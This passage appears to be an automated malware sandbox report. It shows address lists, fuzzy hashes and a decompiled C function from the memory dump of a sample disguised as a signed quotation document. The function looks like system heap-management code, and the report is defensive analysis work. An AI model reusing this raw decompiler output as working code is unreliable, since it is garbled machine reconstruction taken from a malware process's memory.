									E00A30010(_v16, _t107);
									_t201 = _v20;
								}
							}
						}
					}
				}
			}

0x00ad5a5a
0x00ad5a5c
0x00ad5a5f
0x00ad5a62
0x00ad5a65
0x00ad5a75
0x00ad5a75
0x00ad5a77
0x00ad5a78
0x00ad5a78
0x00ad5a78
0x00ad5a7a
0x00ad5a7f
0x00000000
0x00ad5a85
0x00ad5a85
0x00ad5a89
0x00ad5a8e
0x00ad5a93
0x00ad5a96
0x00ad5a96
0x00ad5a9e
0x00ad5aa4
0x00ad5aa4
0x00ad5aa8
0x00ad5ab4
0x00ad5ad8
0x00ad5ae6
0x00ad5af8
0x00ad5ae8
0x00ad5af1
0x00ad5af1
0x00ad5b00
0x00ad5b1e
0x00ad5b1e
0x00ad5b00
0x00ad5b23
0x00ad5b23
0x00ad5b30
0x00ad5b35
0x00ad5b37
0x00000000
0x00ad5b37
0x00ad5b4d
0x00ad5b50
0x00ad5c21
0x00ad5c21
0x00ad5c23
0x00ad5c27
0x00ad5c29
0x00ad5c2e
0x00ad5c31
0x00ad5c37
0x00ad5c45
0x00ad5c45
0x00ad5c37
0x00ad5c4b
0x00ad60ee
0x00ad60f4
0x00000000
0x00000000
0x00000000
0x00ad5c4b
0x00ad5b63
0x00ad5b67
0x00ad5b6c
0x00ad5b77
0x00ad5b7a
0x00000000
0x00000000
0x00ad5b80
0x00ad5b83
0x00ad5b86
0x00ad5b8b
0x00ad5c1f
0x00ad5b9e
0x00ad5b9e
0x00ad5ba2
0x00ad5bca
0x00ad5bd3
0x00ad5bdd
0x00ad5bdf
0x00ad5bea
0x00ad5bf7
0x00ad5bfc
0x00ad5c02
0x00000000
0x00000000
0x00ad5c06
0x00ad5c07
0x00ad5c15
0x00ad5c15
0x00000000
0x00ad5b8b
0x00ad5b6e
0x00ad5b6e
0x00ad5b72
0x00ad5b3c
0x00ad5b3f
0x00ad5b3f
0x00ad5b4b
0x00000000
0x00000000
0x00000000
0x00ad5b4b
0x00ad5b74
0x00000000
0x00ad5c51
0x00ad5c53
0x00ad5c56
0x00ad5c56
0x00ad5c59
0x00ad5c5c
0x00ad5c5c
0x00ad5c5e
0x00ad5c5e
0x00ad5c5e
0x00ad5c60
0x00ad5c67
0x00ad5c6a
0x00ad5c6c
0x00ad5c6f
0x00ad5c6f
0x00ad5c6f
0x00ad5c71
0x00ad5c74
0x00ad5c79
0x00ad5c7f
0x00ad5c82
0x00ad5c88
0x00ad5c8c
0x00ad5c91
0x00ad5c96
0x00ad5c9b
0x00ad5c9d
0x00ad5ca0
0x00ad5ca0
0x00ad5c96
0x00ad5c88
0x00ad5ca3
0x00ad5ca6
0x00ad5ca6
0x00ad5caa
0x00ad5caa
0x00ad5caf
0x00ad5cb4
0x00ad5d7b
0x00ad5d7d
0x00ad5d7f
0x00ad5db3
0x00ad5db6
0x00ad5db8
0x00ad5dcb
0x00ad5dce
0x00ad5dd1
0x00ad5dd4
0x00ad5dd7
0x00ad5dde
0x00ad5de0
0x00ad5de5
0x00000000
0x00000000
0x00ad5de7
0x00ad5de7
0x00ad5dec
0x00ad5dec
0x00ad5df4
0x00ad5ed8
0x00ad5ed9
0x00ad5edb
0x00ad5edf
0x00ad5edf
0x00ad5ee5
0x00ad5eeb
0x00ad5efb
0x00ad5efb
0x00ad5efe
0x00000000
0x00ad5efe
0x00ad5eed
0x00ad5ef3
0x00ad5ef6
0x00000000
0x00ad5ef6
0x00ad5e06
0x00ad5ec2
0x00ad5ec7
0x00ad5ec9
0x00ad5ec9
0x00ad5ecd
0x00ad5ecf
0x00ad5ed1
0x00000000
0x00ad5ed1
0x00ad5e0e
0x00ad5e11
0x00ad5e12
0x00ad5e14
0x00ad5e18
0x00ad5e18
0x00ad5e1e
0x00ad5e24
0x00000000
0x00000000
0x00ad5e36
0x00000000
0x00000000
0x00000000
0x00ad5e36
0x00ad5e3c
0x00ad5e41
0x00ad5e4d
0x00ad5e4d
0x00ad5e52
0x00ad5e54
0x00ad60ea
0x00000000
0x00ad60ea
0x00ad5e5d
0x00ad5e5d
0x00ad5e60
0x00ad5e63
0x00ad5e63
0x00ad5e65
0x00ad5e6a
0x00000000
0x00000000
0x00ad5e80
0x00ad5e86
0x00000000
0x00000000
0x00ad5e88
0x00ad5e8a
0x00ad5e8d
0x00ad5e92
0x00ad5fcd
0x00ad5fdf
0x00ad5fcf
0x00ad5fd8
0x00ad5fd8
0x00ad5fe6
0x00ad5fea
0x00ad6005
0x00ad600c
0x00ad600c
0x00ad600d
0x00ad600d
0x00ad6010
0x00ad6010
0x00ad6010
0x00ad6014
0x00ad5a6a
0x00ad5a6a
0x00000000
0x00ad601a
0x00ad601c
0x00ad601c
0x00ad601f
0x00ad6020
0x00ad6022
0x00ad6026
0x00ad6026
0x00ad602f
0x00ad5eac
0x00ad5eae
0x00ad5eb3
0x00ad5eb6
0x00ad5ebb
0x00ad60e2
0x00ad60e2
0x00ad60e5
0x00ad5a75
0x00ad5a75
0x00ad5a75
0x00ad5a77
0x00ad5a78
0x00ad5a78
0x00ad5a7a
0x00ad5a7f
0x00000000
0x00ad5a85
0x00ad5a85
0x00ad5a89
0x00ad5a8e
0x00ad5a93
0x00ad5a96
0x00ad5a96
0x00ad5a9e
0x00ad5aa4
0x00ad5aa4
0x00ad5aa8
0x00ad5ab4
0x00ad5ad8
0x00ad5ae6
0x00ad5af8
0x00ad5ae8
0x00ad5af1
0x00ad5af1
0x00ad5b00
0x00ad5b1e
0x00ad5b1e
0x00ad5b00
0x00ad5b23
0x00ad5b23
0x00ad5b30
0x00ad5b35
0x00ad5b37
0x00000000
0x00ad5b37
0x00ad5a7f
0x00ad5fa3
0x00ad5fa3
0x00ad5fa9
0x00ad5fa9
0x00ad5fa9
0x00ad5fb6
0x00ad5fbc
0x00000000
0x00ad5fbc
0x00ad6039
0x00ad6042
0x00ad6042
0x00ad6045
0x00ad6046
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad604c
0x00ad604c
0x00ad604c
0x00ad604e
0x00ad6053
0x00000000
0x00000000
0x00ad6069
0x00ad606f
0x00000000
0x00000000
0x00ad6071
0x00ad6073
0x00ad6075
0x00ad6078
0x00ad6087
0x00ad608b
0x00ad60a7
0x00000000
0x00000000
0x00ad60ad
0x00ad60b3
0x00ad5f91
0x00ad5f93
0x00ad5f96
0x00ad5f97
0x00ad5f99
0x00ad5f9d
0x00ad5f9d
0x00000000
0x00ad5f99
0x00ad60b9
0x00ad60b9
0x00000000
0x00ad60b9
0x00ad6091
0x00ad6097
0x00ad609a
0x00000000
0x00000000
0x00000000
0x00ad60bc
0x00ad60bc
0x00ad60bd
0x00ad60c2
0x00ad60c4
0x00ad60da
0x00ad60df
0x00000000
0x00ad60df
0x00ad5a6e
0x00ad5a6e
0x00ad5a75
0x00ad5a75
0x00ad5a77
0x00000000
0x00ad5a77
0x00ad5a75
0x00ad6014
0x00ad5e9a
0x00ad5e9b
0x00ad5e9d
0x00ad5ea1
0x00ad5ea1
0x00ad5eaa
0x00ad5f0a
0x00ad5f11
0x00ad5f14
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad5f1a
0x00ad5f1a
0x00ad5f1a
0x00ad5f1c
0x00ad5f21
0x00000000
0x00000000
0x00ad5f37
0x00ad5f3d
0x00000000
0x00000000
0x00ad5f3f
0x00ad5f41
0x00ad5f43
0x00ad5f46
0x00ad5f55
0x00ad5f59
0x00ad5f75
0x00000000
0x00000000
0x00ad5f7b
0x00ad5f81
0x00000000
0x00000000
0x00ad5f83
0x00ad5f83
0x00000000
0x00ad5f83
0x00ad5f5f
0x00ad5f65
0x00ad5f68
0x00000000
0x00000000
0x00000000
0x00ad5f86
0x00ad5f86
0x00ad5f87
0x00000000
0x00ad5f8c
0x00000000
0x00ad5f1a
0x00000000
0x00ad5eaa
0x00ad5a72
0x00ad5a72
0x00000000
0x00ad5a72
0x00ad5d83
0x00ad5d86
0x00ad5d87
0x00ad5d89
0x00ad5d8d
0x00ad5d8d
0x00ad5d96
0x00000000
0x00000000
0x00ad5d9e
0x00ad5da3
0x00ad5da6
0x00ad5dab
0x00ad5c5c
0x00ad5c5e
0x00ad5c5e
0x00ad5c60
0x00ad5c67
0x00ad5c6a
0x00ad5c6c
0x00000000
0x00ad5c6c
0x00ad5cbd
0x00ad5ccb
0x00ad5cce
0x00ad5cd1
0x00ad5cd8
0x00ad5cda
0x00ad5cdf
0x00000000
0x00000000
0x00ad5ce1
0x00ad5ce7
0x00ad5ce7
0x00ad5cee
0x00ad5d2a
0x00ad5d32
0x00ad5d37
0x00ad5d37
0x00000000
0x00ad5d2a
0x00ad5cf2
0x00ad5cf3
0x00ad5cf5
0x00ad5cf9
0x00ad5cf9
0x00ad5cff
0x00ad5d05
0x00ad5d08
0x00ad5d11
0x00ad5d14
0x00ad5d19
0x00ad5d19
0x00ad5d08
0x00ad5d3d
0x00ad5d43
0x00ad5d65
0x00ad5d75
0x00ad5d75
0x00000000
0x00ad5d65
0x00ad5d45
0x00ad5d4a
0x00ad5d53
0x00ad5d56
0x00ad5d5b
0x00ad5d5b
0x00ad5d4a
0x00ad5c5e
0x00ad5c5c
0x00ad5a78

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 935a91a12e292694d24f33c4d6d9dbb58d00ee5fb1a4c5d8dbfafbacff03313f
Instruction ID: f26f0cff6add3f259ab1eae82e1ff5e9d1a1edd76ac2133ab8b239b53ff5575c
Opcode Fuzzy Hash: 935a91a12e292694d24f33c4d6d9dbb58d00ee5fb1a4c5d8dbfafbacff03313f
Instruction Fuzzy Hash: 23226235E006168FDB19CF69C590AAEB3F2FF98314F24856EE8529B351DB34AD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AD60F5, Relevance: .6, Instructions: 558
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E00AD60F5(intOrPtr __ecx) {
				char _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int* _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed char _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int** _v60;
				intOrPtr _v64;
				intOrPtr _v72;
				void* __ebx;
				signed int _t200;
				char* _t203;
				unsigned int _t214;
				signed short _t224;
				char* _t228;
				signed int* _t233;
				signed int _t241;
				signed int _t253;
				signed int* _t256;
				signed int* _t257;
				signed int _t262;
				signed int _t263;
				signed int _t266;
				signed short _t271;
				void* _t275;
				signed int _t279;
				signed int*** _t287;
				signed int _t294;
				signed char _t307;
				intOrPtr _t309;
				intOrPtr* _t310;
				unsigned int _t312;
				signed int _t313;
				signed char* _t315;
				signed int _t321;
				signed int _t322;
				signed int* _t326;
				void* _t327;
				signed int _t328;
				signed char _t331;
				signed int _t332;
				signed int _t340;
				intOrPtr _t349;
				unsigned int _t354;
				signed int _t356;
				signed int* _t367;
				signed int** _t370;
				signed int _t387;
				intOrPtr _t392;
				unsigned int _t398;
				signed int _t403;
				signed int _t410;
				void* _t411;
				signed char _t413;
				signed int _t414;
				signed int** _t415;
				intOrPtr _t417;
				intOrPtr _t420;
				signed int _t423;
				signed int _t425;
				signed int** _t426;
				signed int** _t427;
				intOrPtr* _t430;
				signed int _t433;
				intOrPtr* _t434;
				signed int** _t436;
				signed int**** _t441;
				signed int _t445;
				intOrPtr* _t447;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				signed int* _t453;
				void* _t454;
				signed int _t457;
				signed int* _t458;
				void* _t459;
				signed int _t460;

				_t433 = 0;
				_t309 = __ecx;
				_t403 = 0;
				_v64 = __ecx;
				_v32 = 0;
				_v36 = 0;
				_t331 = 1;
				do {
					if((_t331 &  *(_t309 + 0x1bf + _t403 * 4)) != 0) {
						if(( *(_t309 + 0x1b8) & _t331) != 0) {
							goto L2;
						}
						_t307 =  *0xb06240; // 0x4
						_v40 = _t307;
						if(_t307 == 0) {
							goto L37;
						}
						L5:
						_t332 = _t433;
						_v56 = _t433;
						do {
							if(_t332 != 0) {
								_t445 = _t332 * 0x68;
								_t332 = _v56;
								_t447 = _t445 + 0xffffff98 +  *((intOrPtr*)(_t309 + 0x5c4 + _t403 * 4));
							} else {
								_t447 =  *((intOrPtr*)(_t309 + 0x3c0 + _t403 * 4));
							}
							if(_t447 != 0 &&  *((intOrPtr*)(_t447 + 0x54)) == 1) {
								_t214 = E00AD5A4F(_t447, _t332);
								_t312 = _t214;
								if(_t312 == 0) {
									L34:
									_t403 = _v36;
									_t332 = _v56;
									_t309 = _v64;
									goto L35;
								}
								 *( *_t447 + 0x14) = _t433;
								_t349 = _v64;
								_t408 =  *(_t349 + 0xc);
								_t354 = _t312 >> 0x00000003 ^  *0xb0874c ^  *(_t349 + 0xc) ^  *_t312;
								if(_t354 != 0) {
									L17:
									_push(_t354);
									_push(_t433);
									E00ADA80D(_t408, 3, _t312, _t433);
									goto L34;
								}
								_t354 = _t354 >> 0xd;
								_t436 =  *(_t214 - _t354);
								_v60 = _t436;
								if(_t436 == 0) {
									L16:
									_t433 = 0;
									goto L17;
								}
								_t356 = _t436[1];
								_v44 = 0;
								_t410 =  *(_t312 + 4) >> 0x00000008 & 0x0000ffff;
								_v52 = _t356;
								_v48 = _t410;
								_t451 =  *( *( *_t436) + 0xc);
								_t224 =  *(_t356 + 0x10) ^ _t451 ^  *0xb0874c ^ _t356;
								_t354 = (_t224 >> 0x10) * _t410 + _v52;
								if((_t224 & 0x0000ffff) + _t354 == _t312) {
									if(E00A37D50() == 0) {
										_t228 = 0x7ffe0380;
									} else {
										_t228 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									if( *_t228 != 0 && ( *( *[fs:0x30] + 0x240) & 1) != 0) {
										_t41 = _t312 + 8; // 0x8
										L00AD1608( *(_t451 + 0xc), _t41, 2);
									}
									asm("sbb eax, eax");
									_v20 = 0;
									_t411 = 0;
									_t43 =  &(_t436[4]); // 0x10
									_t233 = _t43;
									_v24 = _t233;
									while(1) {
										_t452 =  *_t233;
										_v28 = _t452;
										if((_t452 >> 0x00000010 & 0x00008000) != 0) {
											goto L28;
										}
										L27:
										asm("lock cmpxchg [edi], ecx");
										_t436 = _v60;
										if(_t452 == _t452) {
											L30:
											 *((char*)(_t312 + 7)) = 0x80;
											if(_t452 != 0xffffffff) {
												_t313 = _v48;
												asm("btr [eax], ebx");
												if(_t436[3] == 0) {
													L49:
													_t453 =  *_t436;
													_t241 = (_t452 & 0x0000ffff) + _v44 + 0x00000001 | _t313 << 0x00000010;
													if(_t241 != _t436[6]) {
														L86:
														_t315 =  &(_t436[7]);
														_t436[4] = _t241;
														if(( *_t315 & 0x00000002) != 0 || E00A38D76(_t453, _t436) == 0) {
															L33:
															_t433 = 0;
															goto L34;
														} else {
															while(1) {
																_t413 =  *_t315;
																if(_t413 == 0 || (_t413 & 0x00000002) != 0) {
																	goto L33;
																}
																asm("lock cmpxchg [ebx], ecx");
																if(_t413 != _t413) {
																	continue;
																}
																_t367 =  *_t436;
																_v28 = _t367;
																_t454 = 0;
																do {
																	_t414 = _t367[((_t367[0x17] & 0x0000ffff) + _t454 & 0x0000000f) + 2];
																	if(_t414 != 0) {
																		if(( *(_t414 + 0x1c) & 0x00000001) != 0) {
																			goto L98;
																		}
																		asm("lock cmpxchg [ebx], ecx");
																		if(_t414 == _t414) {
																			_t321 = 0xfffffffd;
																			_t253 =  *(_t414 + 0x1c);
																			do {
																				asm("lock cmpxchg [esi], ecx");
																			} while ((_t253 & _t321) != 0);
																			_t433 = 0;
																			if(_t253 == 2) {
																				 *_t414 = 0;
																				E00A30010( *((intOrPtr*)( *_t414)), _t414 + 0x20);
																			}
																			goto L34;
																		}
																		L97:
																		_t367 = _v28;
																		goto L98;
																	}
																	asm("lock cmpxchg [ebx], ecx");
																	if(0 == 0) {
																		goto L33;
																	}
																	goto L97;
																	L98:
																	_t454 = _t454 + 1;
																} while (_t454 < 0x10);
																_t415 =  &(_t436[8]);
																_t370 =  *((intOrPtr*)( *( *( *_t436) + 0xc) + 0x3c0 + (( *_t436)[0x17] & 0x0000ffff) * 4)) + 0x48;
																L32:
																E00A30010(_t370, _t415);
																goto L33;
															}
															goto L33;
														}
													}
													_t322 = _t453[0x16];
													_t417 =  *((intOrPtr*)( *_t453 + 0x10));
													_t377 = _t453[0x15];
													if(_t453[0x15] != 1 || _t417 < _t322) {
														L53:
														_t256 =  *_t436;
														_v48 = _t256;
														_t257 =  &(_t256[1]);
														_t457 =  *_t257;
														 *_t257 = 0;
														if(_t457 == 0) {
															L73:
															_t458 =  *_t436;
															_t323 =  *( *_v48 + 0xc);
															_v24 =  *( *_v48 + 0xc);
															if((_t436[5] & 0x00000003) != 0) {
																_v12 =  &(_t436[1][0x407]) & 0xfffff000;
																_t271 = L00AD5634(_t436);
																_push( &_v8);
																_t387 = (_t436[6] & 0x0000ffff) * (_t271 & 0x0000ffff) << 3;
																_v16 = _t387;
																_t275 = L00A40678(_t323[3], 1);
																_t377 = _t387;
																_push(_t275);
																_push( &_v16);
																_push( &_v12);
																_push(0xffffffff);
																E00A59A00();
															}
															_t436[1][3] = 0;
															L00A397ED(_t323, _t436[1], _t377);
															_t262 = _t436[6] & 0x0000ffff;
															_v48 = _t262;
															_t137 =  &(_t458[0x14]); // 0x50
															_t263 = _t137;
															_v48 =  ~_t262;
															_v52 = _t263;
															do {
																_t459 =  *_t263;
																_t420 =  *((intOrPtr*)(_t263 + 4));
																_v20 = _t420;
																asm("lock cmpxchg8b [edi]");
																_t263 = _v48;
															} while (_t459 != _t459 || _t420 != _v20);
															_t441 = _v60;
															_t441[1] = 0;
															asm("lock inc dword [eax+0x20]");
															_t441[4] = 0;
															_t460 = 0xfffffffe;
															_t266 = _t441[7];
															do {
																asm("lock cmpxchg [edx], ecx");
															} while ((_t266 & _t460) != 0);
															if(_t266 != 1) {
																goto L33;
															}
															_t415 =  &(_t441[8]);
															_t370 =  *( *_t441);
															 *_t441 = 0;
															goto L32;
														}
														_t95 = _t457 + 0x1c; // 0x1c
														_t326 = _t95;
														_t423 = 0xfffffff9;
														_t279 =  *_t326;
														do {
															asm("lock cmpxchg [ebx], ecx");
														} while ((_t279 & _t423) != 0);
														if(_t279 != 6) {
															_t377 = _v48;
															if(E00A38D76(_v48, _t457) == 0) {
																goto L73;
															} else {
																goto L59;
															}
															while(1) {
																L59:
																_t425 =  *_t326;
																if(_t425 == 0 || (_t425 & 0x00000002) != 0) {
																	goto L73;
																}
																_t377 = _t425 | 0x00000002;
																asm("lock cmpxchg [ebx], ecx");
																if(_t425 != _t425) {
																	continue;
																}
																_t392 =  *_t457;
																_v44 = _t392;
																_t327 = 0;
																do {
																	_t287 = _t392 + ((( *(_t392 + 0x5e) & 0x0000ffff) + _t327 & 0x0000000f) + 2) * 4;
																	_t426 =  *_t287;
																	_v28 = _t287;
																	if(_t426 != 0) {
																		if((_t426[7] & 0x00000001) != 0) {
																			goto L69;
																		}
																		asm("lock cmpxchg [edi], ecx");
																		_t436 = _v60;
																		if(_t426 == _t426) {
																			_t328 = 0xfffffffd;
																			_t294 = _t426[7];
																			do {
																				_t377 = _t294 & _t328;
																				asm("lock cmpxchg [esi], ecx");
																			} while ((_t294 & _t328) != 0);
																			if(_t294 != 2) {
																				goto L73;
																			}
																			_t377 =  *( *_t426);
																			 *_t426 = 0;
																			_t427 =  &(_t426[8]);
																			L72:
																			E00A30010(_t377, _t427);
																			goto L73;
																		}
																		L68:
																		_t392 = _v44;
																		goto L69;
																	}
																	_t377 = _t457;
																	asm("lock cmpxchg [edx], ecx");
																	if(0 == 0) {
																		goto L73;
																	}
																	goto L68;
																	L69:
																	_t327 = _t327 + 1;
																} while (_t327 < 0x10);
																_t377 =  *((intOrPtr*)( *((intOrPtr*)( *( *_t457) + 0xc)) + 0x3c0 + (( *_t457)[0x17] & 0x0000ffff) * 4)) + 0x48;
																L71:
																_t116 = _t457 + 0x20; // 0x20
																_t427 = _t116;
																goto L72;
															}
															goto L73;
														}
														_t377 =  *( *_t457);
														 *_t457 = 0;
														goto L71;
													} else {
														_t377 =  *_t453;
														if(_t417 - _t322 <  *((intOrPtr*)( *_t453 + 0x14))) {
															goto L86;
														}
														goto L53;
													}
												}
												_t430 = E00AA5208( &(_t436[2]));
												if(_t430 == 0) {
													goto L49;
												}
												do {
													_t398 =  *(_t430 - 4);
													_t430 =  *_t430;
													asm("btr [eax], edi");
													_v44 = _v44 + 1;
													_v48 = _t398 >> 0x00000008 & 0x0000ffff;
												} while (_t430 != 0);
												_t452 = _v28;
												_t436 = _v60;
												_t313 = _v48;
												goto L49;
											}
											_t54 = _t312 + 8; // 0x8
											_t415 = _t54;
											_t370 =  &(_t436[2]);
											goto L32;
										}
										L28:
										_t411 = _t411 + 1;
										if(_t411 <= _v20) {
											_t45 =  &(_t436[4]); // 0x10
											_t233 = _t45;
											_t452 =  *_t233;
											_v28 = _t452;
											if((_t452 >> 0x00000010 & 0x00008000) != 0) {
												goto L28;
											}
											goto L27;
										}
										_t452 = _t452 | 0xffffffff;
										_v28 = _t452;
										goto L30;
									}
								}
								_t408 =  *(_t451 + 0xc);
								goto L16;
							}
							L35:
							_t332 = _t332 + 1;
							_v56 = _t332;
						} while (_t332 < _v40);
						_t331 = 1;
						goto L37;
					}
					L2:
					_v40 = _t331;
					goto L5;
					L37:
					_t403 = _t403 + 1;
					_v36 = _t403;
				} while (_t403 < 0x81);
				_t62 = _t309 + 0x38; // 0x38
				_t195 = _t62;
				_v40 = 0xc;
				_v36 = _t62;
				do {
					_t448 = _t433;
					_t434 = E00AA5208(_t195);
					if(_t434 == 0) {
						goto L112;
					} else {
						goto L40;
					}
					do {
						L40:
						_t310 = _t434;
						_t434 =  *_t434;
						_t200 = 1 <<  *(_t310 + 8);
						if(1 > 0x78000) {
							_t200 = 0x78000;
						}
						_t340 = ( *(_t310 + 0xa) & 0x0000ffff) + _t200;
						_v32 = _v32 + _t340;
						_v28 = _t340;
						E00A3C111( *((intOrPtr*)(_v64 + 0xc)), _t310, _t340);
						_t448 = _t448 + 1;
						if(E00A37D50() == 0) {
							_t203 = 0x7ffe0380;
						} else {
							_t203 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t203 == 0 || ( *( *[fs:0x30] + 0x240) & 1) == 0) {
							_t309 = _v64;
						} else {
							E00AD18CA(_t310,  *((intOrPtr*)(_v64 + 0xc)), _t310, _v28, 0);
							_t309 = _v72;
							E00AD1951(_t309,  *((intOrPtr*)(_t309 + 0xc)), _t310, _v36, 0);
						}
					} while (_t434 != 0);
					if(_t448 != 0) {
						asm("lock xadd [eax], esi");
					}
					L112:
					_t195 = _v36 + 0x20;
					_t188 =  &_v40;
					 *_t188 = _v40 - 1;
					_v36 = _t195;
					_t433 = 0;
				} while ( *_t188 != 0);
				if(_v32 != 0) {
					_t192 = _t309 + 0x2c; // 0x2c
					_t195 = _t192;
					asm("lock xadd [eax], ecx");
				}
				return _t195;
			}

0x00ad6103
0x00ad6105
0x00ad6107
0x00ad6109
0x00ad610f
0x00ad6113
0x00ad6117
0x00ad6118
0x00ad6121
0x00ad612f
0x00000000
0x00000000
0x00ad6131
0x00ad6136
0x00ad613c
0x00000000
0x00000000
0x00ad6142
0x00ad6142
0x00ad6144
0x00ad6148
0x00ad614a
0x00ad6155
0x00ad6158
0x00ad615f
0x00ad614c
0x00ad614c
0x00ad614c
0x00ad6168
0x00ad617e
0x00ad6183
0x00ad6187
0x00ad62cd
0x00ad62cd
0x00ad62d1
0x00ad62d5
0x00000000
0x00ad62d5
0x00ad618f
0x00ad6192
0x00ad6196
0x00ad61a6
0x00ad61ab
0x00ad6204
0x00ad6204
0x00ad6205
0x00ad620b
0x00000000
0x00ad620b
0x00ad61ad
0x00ad61b2
0x00ad61b4
0x00ad61ba
0x00ad6202
0x00ad6202
0x00000000
0x00ad6202
0x00ad61c1
0x00ad61c7
0x00ad61cb
0x00ad61d0
0x00ad61d4
0x00ad61da
0x00ad61e8
0x00ad61f5
0x00ad61fd
0x00ad621c
0x00ad622e
0x00ad621e
0x00ad6227
0x00ad6227
0x00ad6236
0x00ad624c
0x00ad6251
0x00ad6251
0x00ad6260
0x00ad6265
0x00ad626b
0x00ad626d
0x00ad626d
0x00ad6270
0x00ad6279
0x00ad6279
0x00ad6280
0x00ad6289
0x00000000
0x00000000
0x00ad628b
0x00ad6299
0x00ad629d
0x00ad62a3
0x00ad62b3
0x00ad62b3
0x00ad62ba
0x00ad6377
0x00ad637e
0x00ad6387
0x00ad63c4
0x00ad63cc
0x00ad63d3
0x00ad63d9
0x00ad660c
0x00ad660c
0x00ad660f
0x00ad6616
0x00ad62cb
0x00ad62cb
0x00000000
0x00ad662d
0x00ad662d
0x00ad662d
0x00ad6631
0x00000000
0x00000000
0x00ad6647
0x00ad664d
0x00000000
0x00000000
0x00ad664f
0x00ad6653
0x00ad6657
0x00ad6659
0x00ad6668
0x00ad666c
0x00ad6685
0x00000000
0x00000000
0x00ad668b
0x00ad6691
0x00ad66bf
0x00ad66c0
0x00ad66c2
0x00ad66c6
0x00ad66c6
0x00ad66cc
0x00ad66d1
0x00ad66db
0x00ad66e0
0x00ad66e0
0x00000000
0x00ad66d1
0x00ad6693
0x00ad6693
0x00000000
0x00ad6693
0x00ad6672
0x00ad6678
0x00000000
0x00000000
0x00000000
0x00ad6697
0x00ad6697
0x00ad6698
0x00ad669f
0x00ad66b2
0x00ad62c6
0x00ad62c6
0x00000000
0x00ad62c6
0x00000000
0x00ad662d
0x00ad6616
0x00ad63e1
0x00ad63e4
0x00ad63e7
0x00ad63ed
0x00ad6400
0x00ad6400
0x00ad6404
0x00ad6408
0x00ad640b
0x00ad640b
0x00ad640f
0x00ad64e9
0x00ad64f1
0x00ad64f5
0x00ad64f8
0x00ad64fc
0x00ad650d
0x00ad6511
0x00ad6524
0x00ad6527
0x00ad652a
0x00ad6535
0x00ad653a
0x00ad653b
0x00ad6540
0x00ad6545
0x00ad6546
0x00ad6548
0x00ad6548
0x00ad6555
0x00ad655b
0x00ad6560
0x00ad6566
0x00ad656c
0x00ad656c
0x00ad656f
0x00ad6573
0x00ad6577
0x00ad6577
0x00ad6579
0x00ad657e
0x00ad658c
0x00ad6596
0x00ad6596
0x00ad65a2
0x00ad65ac
0x00ad65af
0x00ad65b5
0x00ad65bb
0x00ad65bc
0x00ad65be
0x00ad65c2
0x00ad65c2
0x00ad65cd
0x00000000
0x00000000
0x00ad65d5
0x00ad65d8
0x00ad65da
0x00000000
0x00ad65da
0x00ad6417
0x00ad6417
0x00ad641a
0x00ad641b
0x00ad641d
0x00ad6421
0x00ad6421
0x00ad642a
0x00ad6439
0x00ad6446
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad644c
0x00ad644c
0x00ad644c
0x00ad6450
0x00000000
0x00000000
0x00ad6463
0x00ad6466
0x00ad646c
0x00000000
0x00000000
0x00ad646e
0x00ad6472
0x00ad6476
0x00ad6478
0x00ad6484
0x00ad6487
0x00ad6489
0x00ad648f
0x00ad64a8
0x00000000
0x00000000
0x00ad64b2
0x00ad64b6
0x00ad64bc
0x00ad65e6
0x00ad65e7
0x00ad65e9
0x00ad65eb
0x00ad65ed
0x00ad65ed
0x00ad65f6
0x00000000
0x00000000
0x00ad65fe
0x00ad6602
0x00ad6604
0x00ad64e4
0x00ad64e4
0x00000000
0x00ad64e4
0x00ad64c2
0x00ad64c2
0x00000000
0x00ad64c2
0x00ad6495
0x00ad6499
0x00ad649f
0x00000000
0x00000000
0x00000000
0x00ad64c6
0x00ad64c6
0x00ad64c7
0x00ad64de
0x00ad64e1
0x00ad64e1
0x00ad64e1
0x00000000
0x00ad64e1
0x00000000
0x00ad644c
0x00ad642e
0x00ad6432
0x00000000
0x00ad63f3
0x00ad63f3
0x00ad63fa
0x00000000
0x00000000
0x00000000
0x00ad63fa
0x00ad63ed
0x00ad6391
0x00ad6395
0x00000000
0x00000000
0x00ad639b
0x00ad639b
0x00ad63a1
0x00ad63a9
0x00ad63ac
0x00ad63b0
0x00ad63b4
0x00ad63b8
0x00ad63bc
0x00ad63c0
0x00000000
0x00ad63c0
0x00ad62c0
0x00ad62c0
0x00ad62c3
0x00000000
0x00ad62c3
0x00ad62a5
0x00ad62a5
0x00ad62aa
0x00ad6276
0x00ad6276
0x00ad6279
0x00ad6280
0x00ad6289
0x00000000
0x00000000
0x00000000
0x00ad6289
0x00ad62ac
0x00ad62af
0x00000000
0x00ad62af
0x00ad6279
0x00ad61ff
0x00000000
0x00ad61ff
0x00ad62d9
0x00ad62d9
0x00ad62da
0x00ad62de
0x00ad62ea
0x00000000
0x00ad62ea
0x00ad6123
0x00ad6123
0x00000000
0x00ad62eb
0x00ad62eb
0x00ad62ec
0x00ad62f0
0x00ad62fc
0x00ad62fc
0x00ad62ff
0x00ad6307
0x00ad630b
0x00ad630d
0x00ad6314
0x00ad6318
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad631e
0x00ad631e
0x00ad631e
0x00ad6322
0x00ad6328
0x00ad6331
0x00ad6333
0x00ad6333
0x00ad633b
0x00ad633d
0x00ad6341
0x00ad634d
0x00ad6352
0x00ad635a
0x00ad66ea
0x00ad6360
0x00ad6369
0x00ad6369
0x00ad66f2
0x00ad6731
0x00ad6705
0x00ad6715
0x00ad671e
0x00ad672a
0x00ad672a
0x00ad6735
0x00ad673f
0x00ad674a
0x00ad674a
0x00ad674e
0x00ad6752
0x00ad6755
0x00ad6755
0x00ad675c
